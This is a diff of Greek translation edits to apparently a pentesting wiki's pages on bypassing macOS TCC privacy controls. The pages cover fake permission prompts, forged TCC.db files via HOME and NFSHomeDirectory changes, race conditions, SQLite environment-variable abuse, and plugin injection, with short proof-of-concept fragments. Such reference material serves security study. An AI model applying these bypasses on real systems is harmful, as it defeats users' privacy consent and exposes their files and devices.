**ποτέ δεν θα δημιουργήσουν αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app ### Πρόθεση Χρήστη / com.apple.macl -Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο σύροντας και αποθέτοντας το σε αυτήν**. Αυτή η πρόσβαση δεν θα καθοριστεί σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής: +Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο σύροντας και αποθέτοντας το σε αυτήν**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής: ```bash xattr Desktop/private.txt com.apple.macl @@ -249,8 +249,8 @@ Filename,Header,App UUID otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` -> [!NOTE] -> Είναι περίεργο ότι το **`com.apple.macl`** χαρακτηριστικό διαχειρίζεται από το **Sandbox**, όχι από το tccd. +> [!TIP] +> Είναι περίεργο ότι το **`com.apple.macl`** χαρακτηριστικό διαχειρίζεται από το **Sandbox**, όχι το tccd. > > Επίσης, σημειώστε ότι αν μεταφέρετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή η ίδια εφαρμογή θα έχει διαφορετικά UIDs, δεν θα παραχωρήσει πρόσβαση σε αυτή την εφαρμογή. @@ -363,7 +363,7 @@ EOD > [!WARNING] > Με αυτή την άδεια θα μπορείτε να **ζητήσετε από τον Finder να αποκτήσει πρόσβαση σε περιορισμένους φακέλους TCC** και να σας δώσει τα αρχεία, αλλά όσο γνωρίζω δεν θα **μπορείτε να κάνετε τον Finder να εκτελεί αυθαίρετο κώδικα** για να εκμεταλλευτείτε πλήρως την πρόσβαση FDA του. > -> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε πλήρως τις δυνατότητες της FDA. +> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε τις πλήρεις δυνατότητες της FDA. Αυτή είναι η προτροπή TCC για να αποκτήσετε δικαιώματα Αυτοματοποίησης πάνω στον Finder: @@ -400,7 +400,7 @@ EOD ### Αυτοματοποίηση (SE) σε κάποια TCC -**Τα System Events μπορούν να δημιουργήσουν Folder Actions, και οι Folder actions μπορούν να έχουν πρόσβαση σε ορισμένους φακέλους TCC** (Επιφάνεια Εργασίας, Έγγραφα & Λήψεις), οπότε ένα σενάριο όπως το παρακάτω μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτή τη συμπεριφορά: +**Τα System Events μπορούν να δημιουργήσουν Folder Actions, και οι Folder actions μπορούν να έχουν πρόσβαση σε ορισμένους φακέλους TCC** (Desktop, Documents & Downloads), οπότε ένα σενάριο όπως το παρακάτω μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτή τη συμπεριφορά: ```bash # Create script to execute with the action cat > "/tmp/script.js" <

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

### TCC Request by arbitrary name Ο επιτιθέμενος μπορεί να **δημιουργήσει εφαρμογές με οποιοδήποτε όνομα** (π.χ. Finder, Google Chrome...) στο **`Info.plist`** και να ζητήσει πρόσβαση σε κάποια προστατευμένη τοποθεσία TCC. Ο χρήστης θα νομίζει ότι η νόμιμη εφαρμογή είναι αυτή που ζητά αυτή την πρόσβαση.\ -Επιπλέον, είναι δυνατόν να **αφαιρεθεί η νόμιμη εφαρμογή από το Dock και να τοποθετηθεί η ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση. +Επιπλέον, είναι δυνατόν να **αφαιρέσετε την νόμιμη εφαρμογή από το Dock και να βάλετε την ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
@@ -52,21 +52,21 @@ asd ### Handle extensions - CVE-2022-26767 -Το χαρακτηριστικό **`com.apple.macl`** δίνεται σε αρχεία για να δώσει σε μια **ορισμένη εφαρμογή άδειες να το διαβάσει.** Αυτό το χαρακτηριστικό ορίζεται όταν **σύρετε και αποθέτετε** ένα αρχείο πάνω από μια εφαρμογή, ή όταν ένας χρήστης **διπλοκλικάρει** ένα αρχείο για να το ανοίξει με την **προεπιλεγμένη εφαρμογή**. +Η ιδιότητα **`com.apple.macl`** δίνεται σε αρχεία για να δώσει σε μια **ορισμένη εφαρμογή άδειες να το διαβάσει.** Αυτή η ιδιότητα ορίζεται όταν **σύρετε και αποθέσετε** ένα αρχείο πάνω από μια εφαρμογή, ή όταν ένας χρήστης **διπλοκλικάρει** ένα αρχείο για να το ανοίξει με την **προεπιλεγμένη εφαρμογή**. Επομένως, ένας χρήστης θα μπορούσε να **καταχωρήσει μια κακόβουλη εφαρμογή** για να χειρίζεται όλες τις επεκτάσεις και να καλέσει τις Υπηρεσίες Εκκίνησης για να **ανοίξει** οποιοδήποτε αρχείο (έτσι το κακόβουλο αρχείο θα αποκτήσει πρόσβαση για να το διαβάσει). ### iCloud -Η άδεια **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την **`com.apple.iCloudHelper`** υπηρεσία XPC που θα **παρέχει tokens iCloud**. +Η εξουσιοδότηση **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει tokens iCloud**. -**iMovie** και **Garageband** είχαν αυτή την άδεια και άλλες που το επέτρεπαν. +Η **iMovie** και η **Garageband** είχαν αυτή την εξουσιοδότηση και άλλες που το επέτρεπαν. -Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτή την άδεια, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτή την εξουσιοδότηση, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automation -Μια εφαρμογή με την **άδεια `kTCCServiceAppleEvents`** θα μπορεί να **ελέγχει άλλες εφαρμογές**. Αυτό σημαίνει ότι θα μπορούσε να **καταχραστεί τις άδειες που έχουν παραχωρηθεί σε άλλες εφαρμογές**. +Μια εφαρμογή με την άδεια **`kTCCServiceAppleEvents`** θα μπορεί να **ελέγχει άλλες εφαρμογές**. Αυτό σημαίνει ότι θα μπορούσε να **καταχραστεί τις άδειες που έχουν παραχωρηθεί σε άλλες εφαρμογές**. Για περισσότερες πληροφορίες σχετικά με τα Apple Scripts, ελέγξτε: @@ -74,7 +74,7 @@ asd macos-apple-scripts.md {{#endref}} -Για παράδειγμα, αν μια εφαρμογή έχει **άδεια Αυτοματοποίησης πάνω στο `iTerm`**, για παράδειγμα σε αυτό το παράδειγμα **`Terminal`** έχει πρόσβαση πάνω στο iTerm: +Για παράδειγμα, αν μια εφαρμογή έχει **άδεια Αυτοματοποίησης πάνω στο `iTerm`**, για παράδειγμα σε αυτό το παράδειγμα **`Terminal`** έχει πρόσβαση στο iTerm:
@@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias) ### CVE-2020–9934 - TCC -Ο χρήστης **tccd daemon** χρησιμοποιούσε τη μεταβλητή **`HOME`** **env** για να έχει πρόσβαση στη βάση δεδομένων χρηστών TCC από: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +Ο χρήστης **tccd daemon** χρησιμοποιεί τη **μεταβλητή περιβάλλοντος** **`HOME`** για να έχει πρόσβαση στη βάση δεδομένων χρηστών TCC από: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** Σύμφωνα με [αυτή την ανάρτηση στο Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) και επειδή ο daemon TCC εκτελείται μέσω του `launchd` εντός του τομέα του τρέχοντος χρήστη, είναι δυνατό να **ελέγξει όλες τις μεταβλητές περιβάλλοντος** που του περνιούνται.\ -Έτσι, ένας **επιτιθέμενος θα μπορούσε να ρυθμίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε έναν **ελεγχόμενο** **φάκελο**, **να επανεκκινήσει** τον **daemon TCC** και στη συνέχεια **να τροποποιήσει άμεσα τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **κάθε δικαίωμα TCC διαθέσιμο** χωρίς ποτέ να ζητήσει από τον τελικό χρήστη.\ +Έτσι, ένας **επιτιθέμενος θα μπορούσε να ρυθμίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε έναν **ελεγχόμενο** **φάκελο**, **να επανεκκινήσει** τον **daemon TCC**, και στη συνέχεια **να τροποποιήσει άμεσα τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **όλες τις διαθέσιμες εξουσιοδοτήσεις TCC** χωρίς ποτέ να ζητήσει από τον τελικό χρήστη.\ PoC: ```bash # reset database just in case (no cheating!) @@ -145,7 +145,7 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Σημειώσεις -Οι Σημειώσεις είχαν πρόσβαση σε προστατευμένες τοποθεσίες TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (έτσι σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο: +Οι Σημειώσεις είχαν πρόσβαση σε τοποθεσίες προστατευμένες από TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (έτσι σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
@@ -155,26 +155,26 @@ $> ls ~/Documents Ήταν δυνατό να προστεθεί το χαρακτηριστικό καραντίνας στη "Βιβλιοθήκη", να καλέσετε την υπηρεσία XPC **`com.apple.security.translocation`** και στη συνέχεια θα χαρτογραφούσε τη Βιβλιοθήκη σε **`$TMPDIR/AppTranslocation/d/d/Library`** όπου όλα τα έγγραφα μέσα στη Βιβλιοθήκη θα μπορούσαν να είναι **προσβάσιμα**. -### CVE-2023-38571 - Μουσική & TV +### CVE-2023-38571 - Μουσική & Τηλεόραση -**`Music`** έχει μια ενδιαφέρουσα δυνατότητα: Όταν εκτελείται, θα **εισάγει** τα αρχεία που ρίχνονται στο **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** στη "βιβλιοθήκη μέσων" του χρήστη. Επιπλέον, καλεί κάτι σαν: **`rename(a, b);`** όπου `a` και `b` είναι: +**`Music`** έχει μια ενδιαφέρουσα δυνατότητα: Όταν εκτελείται, θα **εισάγει** τα αρχεία που απορρίπτονται στο **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** στη "βιβλιοθήκη μέσων" του χρήστη. Επιπλέον, καλεί κάτι σαν: **`rename(a, b);`** όπου `a` και `b` είναι: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` -Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) για να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/. +Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -Αν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **κάθε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την διαδρομή**. Σε αυτήν την CVE, αυτή η ρύθμιση ελέγχου καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db να αντικαθίσταται** με την ανοιχτή. +Εάν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **οποιαδήποτε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την τοποθεσία**. Σε αυτήν την CVE, αυτός ο έλεγχος καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί το **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db αντικαθίσταται** με την ανοιχτή. **Περισσότερες πληροφορίες** [**στην αναφορά**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **και** [**στην ομιλία**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** -Αν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ρυθμισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα SQL ερωτήματα. Πολλές εφαρμογές χρησιμοποίησαν αυτή τη βιβλιοθήκη, οπότε ήταν δυνατό να καταγραφούν όλα τα SQLite ερωτήματα τους. +Εάν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ρυθμισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα SQL queries. Πολλές εφαρμογές χρησιμοποίησαν αυτή τη βιβλιοθήκη, οπότε ήταν δυνατό να καταγραφούν όλα τα SQLite queries τους. -Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε προστατευμένες πληροφορίες TCC. +Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε πληροφορίες προστατευμένες από TCC. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 @@ -185,29 +185,29 @@ launchctl setenv SQLITE_AUTO_TRACE 1 Ρυθμίζοντας το εξής: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Αν το `path` είναι έγκυρος φάκελος, το σφάλμα θα ενεργοποιηθεί και μπορούμε να χρησιμοποιήσουμε το `fs_usage` για να δούμε τι συμβαίνει στο πρόγραμμα: -- ένα αρχείο θα `open()`εται, που ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος) +- ένα αρχείο θα `open()`αριστεί, ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος) - ένα ή περισσότερα `write()` θα γράψουν τα περιεχόμενα στο αρχείο (δεν το ελέγχουμε αυτό) - το `path/.dat.nosyncXXXX.XXXXXX` θα `renamed()` σε `path/name` Είναι μια προσωρινή εγγραφή αρχείου, ακολουθούμενη από μια **`rename(old, new)`** **η οποία δεν είναι ασφαλής.** -Δεν είναι ασφαλής γιατί πρέπει να **λύσει τους παλιούς και νέους φακέλους ξεχωριστά**, κάτι που μπορεί να πάρει κάποιο χρόνο και μπορεί να είναι ευάλωτο σε Race Condition. Για περισσότερες πληροφορίες μπορείτε να ελέγξετε τη λειτουργία `renameat_internal()` του `xnu`. +Δεν είναι ασφαλής γιατί πρέπει να **λύσει τους παλιούς και νέους φακέλους ξεχωριστά**, κάτι που μπορεί να πάρει κάποιο χρόνο και μπορεί να είναι ευάλωτο σε μια Συνθήκη Αγώνα. Για περισσότερες πληροφορίες μπορείτε να ελέγξετε τη λειτουργία `renameat_internal()` του `xnu`. > [!CAUTION] -> Ουσιαστικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε ένα RCE και να την κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD. +> Έτσι, βασικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε μια RCE και να την κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD. > -> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχικό αρχείο ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού ώστε να δείχνει σε ένα symlink, έτσι ώστε να μπορείτε να γράφετε όποτε θέλετε. +> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχείο προέλευσης ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού ώστε να δείχνει σε ένα symlink, έτσι ώστε να μπορείτε να γράφετε όποτε θέλετε. -Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη βάση δεδομένων `TCC.db` του χρήστη, μπορούμε: +Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη `TCC.db` του χρήστη, μπορούμε: - να δημιουργήσουμε `/Users/hacker/ourlink` για να δείχνει στο `/Users/hacker/Library/Application Support/com.apple.TCC/` - να δημιουργήσουμε το φάκελο `/Users/hacker/tmp/` - να ρυθμίσουμε `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` -- να ενεργοποιήσουμε το σφάλμα εκτελώντας το `Music` με αυτή τη μεταβλητή περιβάλλοντος +- να ενεργοποιήσουμε το σφάλμα τρέχοντας το `Music` με αυτή τη μεταβλητή περιβάλλοντος - να πιάσουμε το `open()` του `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος) -- εδώ επίσης `open()` αυτό το αρχείο για εγγραφή, και να κρατήσουμε τον περιγραφέα αρχείου -- να αλλάξουμε ατομικά το `/Users/hacker/tmp` με το `/Users/hacker/ourlink` **σε βρόχο** -- το κάνουμε αυτό για να μεγιστοποιήσουμε τις πιθανότητες επιτυχίας μας καθώς το παράθυρο αγώνα είναι αρκετά στενό, αλλά η απώλεια του αγώνα έχει αμελητέα αρνητική πλευρά +- εδώ επίσης `open()`αριστούμε αυτό το αρχείο για εγγραφή, και κρατάμε το περιγραφέα αρχείου +- ατομικά να αλλάξουμε το `/Users/hacker/tmp` με το `/Users/hacker/ourlink` **σε έναν βρόχο** +- το κάνουμε αυτό για να μεγιστοποιήσουμε τις πιθανότητες επιτυχίας μας καθώς το παράθυρο αγώνα είναι αρκετά λεπτό, αλλά η απώλεια του αγώνα έχει αμελητέα αρνητική πλευρά - περιμένουμε λίγο - δοκιμάζουμε αν είχαμε τύχη - αν όχι, τρέχουμε ξανά από την αρχή @@ -219,15 +219,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ### Apple Remote Desktop -Ως root μπορείτε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων TCC χρήστη**. +Ως root θα μπορούσατε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων TCC χρήστη**. -## Με **NFSHomeDirectory** +## Από **NFSHomeDirectory** Το TCC χρησιμοποιεί μια βάση δεδομένων στον φάκελο HOME του χρήστη για να ελέγξει την πρόσβαση σε πόρους συγκεκριμένους για τον χρήστη στο **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\ -Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να ξεγελάσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή. +Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε έναν **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να εξαπατήσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή. > [!TIP] -> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται μέσα στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλοποιήσετε** αυτή την επιλογή με μια παράκαμψη TCC. +> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται μέσα στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλίσετε** αυτή την επιλογή με μια παράκαμψη TCC. ### [CVE-2020–9934 - TCC](#c19b) @@ -237,7 +237,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 Η **πρώτη POC** χρησιμοποιεί [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) και [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) για να τροποποιήσει το **HOME** φάκελο του χρήστη. -1. Λάβετε ένα _csreq_ blob για την στοχοθετημένη εφαρμογή. +1. Πάρτε ένα _csreq_ blob για την στοχοθετημένη εφαρμογή. 2. Φυτέψτε ένα ψεύτικο _TCC.db_ αρχείο με απαιτούμενη πρόσβαση και το _csreq_ blob. 3. Εξάγετε την εγγραφή Υπηρεσιών Καταλόγου του χρήστη με [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Τροποποιήστε την εγγραφή Υπηρεσιών Καταλόγου για να αλλάξετε το φάκελο του χρήστη. @@ -245,11 +245,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1 6. Σταματήστε το _tccd_ του χρήστη και επανεκκινήστε τη διαδικασία. Η δεύτερη POC χρησιμοποίησε **`/usr/libexec/configd`** που είχε `com.apple.private.tcc.allow` με την τιμή `kTCCServiceSystemPolicySysAdminFiles`.\ -Ήταν δυνατό να εκτελέσετε το **`configd`** με την επιλογή **`-t`**, ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του φακέλου του χρήστη με μια **ένεση κώδικα configd**. +Ήταν δυνατό να τρέξει το **`configd`** με την επιλογή **`-t`**, ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του φακέλου του χρήστη με μια **ένεση κώδικα `configd`**. Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/). -## Με ένεση διαδικασίας +## Από ένεση διαδικασίας Υπάρχουν διάφορες τεχνικές για να εγχύσετε κώδικα μέσα σε μια διαδικασία και να καταχραστείτε τα προνόμια TCC της: @@ -257,14 +257,14 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ../../../macos-proces-abuse/ {{#endref}} -Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακάμψετε το TCC που βρέθηκε είναι μέσω **plugins (load library)**.\ +Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακάμψετε το TCC που βρέθηκε είναι μέσω **plugins (φόρτωση βιβλιοθήκης)**.\ Τα plugins είναι επιπλέον κώδικας συνήθως με τη μορφή βιβλιοθηκών ή plist, που θα **φορτωθούν από την κύρια εφαρμογή** και θα εκτελούνται υπό το πλαίσιο της. Επομένως, αν η κύρια εφαρμογή είχε πρόσβαση σε αρχεία περιορισμένα από το TCC (μέσω παραχωρημένων αδειών ή δικαιωμάτων), ο **προσαρμοσμένος κώδικας θα έχει επίσης πρόσβαση**. ### CVE-2020-27937 - Directory Utility -Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με επέκταση **`.daplug`** και **δεν είχε την σκληρυμένη** εκτέλεση. +Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με **`.daplug`** επέκταση και **δεν είχε την σκληρυμένη** εκτέλεση. -Για να οπλοποιήσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **αναλάβετε τη βάση δεδομένων TCC των χρηστών** για να παρακάμψετε το TCC. +Για να οπλίσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **αναλάβετε τη βάση δεδομένων TCC των χρηστών** για να παρακάμψετε το TCC. Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). @@ -272,7 +272,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 Το δυαδικό **`/usr/sbin/coreaudiod`** είχε τις άδειες `com.apple.security.cs.disable-library-validation` και `com.apple.private.tcc.manager`. Η πρώτη **επιτρέπει την ένεση κώδικα** και η δεύτερη δίνει πρόσβαση για **διαχείριση του TCC**. -Αυτό το δυαδικό επέτρεπε τη φόρτωση **τρίτων plugins** από το φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτώσετε ένα plugin και να καταχραστείτε τις άδειες TCC** με αυτό το PoC: +Αυτό το δυαδικό επέτρεπε τη φόρτωση **τρίτων plugins** από το φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτωθεί ένα plugin και να καταχραστούν οι άδειες TCC** με αυτό το PoC: ```objectivec #import #import @@ -303,7 +303,7 @@ exit(0); ### Device Abstraction Layer (DAL) Plug-Ins -Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **κατά τη διαδικασία αυτά τα πρόσθετα** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP). +Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) 